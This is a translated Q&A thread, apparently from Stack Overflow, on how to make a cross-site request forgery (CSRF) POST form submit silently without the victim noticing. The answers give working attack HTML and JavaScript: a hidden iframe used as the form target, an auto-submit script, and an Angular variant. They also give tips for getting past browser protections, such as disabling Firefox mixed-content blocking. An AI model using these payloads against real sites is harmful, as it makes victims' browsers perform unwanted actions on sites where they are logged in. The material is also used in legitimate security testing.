静默提交POST表单(CSRF)的示例

时间:2013-07-30 07:28:06

标签: security csrf

我很想知道如何在没有用户注意的情况下静默提交CSR表单的POST表单(文档位置被重定向到POSTed URL并不是静默的)。

示例:

<form method='POST' action='http://vulnerablesite.com/form.php'>
<input type='hidden' name='criticaltoggle' value='true'
<input type='submit' value='submit'>
</form>

在外部网站上,我需要做什么才能自动而无声地触发此表单?

2 个答案:

答案 0 :(得分:44)

一种解决方案是在iframe

这样的框架中打开表单的操作
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='criticaltoggle' value='true'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

答案 1 :(得分:2)

在本地测试CSRF时,您可能必须克服多项安全措施。

对于Blocked loading mixed active content错误,请确保攻击者站点和目标站点的协议(http / https)相同,或使用“//”作为攻击者站点的协议。对localhost的攻击示例:

<iframe style="display:none" id="csrf-frame-invisible" name="csrf-frame-invisible"></iframe>
<form style="display:none" method='POST' action='//localhost:4000' target="csrf-frame-invisible" name="csrf-form-invisible" id="csrf-form-invisible">
  <input type='hidden' name='boo' value='true'>
  <input type='submit' value='Submit'>
</form>

或者将Firefox security.mixed_content.block_active_content设置为false

如果使用Angular,安全选项会阻止您使用内联JavaScript,因此您需要将提交移至攻击者网站上的代码隐藏:

ngOnInit() {
   const myForm: HTMLFormElement = document.getElementById('csrf-form-invisible') as HTMLFormElement;
   myForm.submit();
}

最后,不得设置攻击者网站的标题'x-frame-options'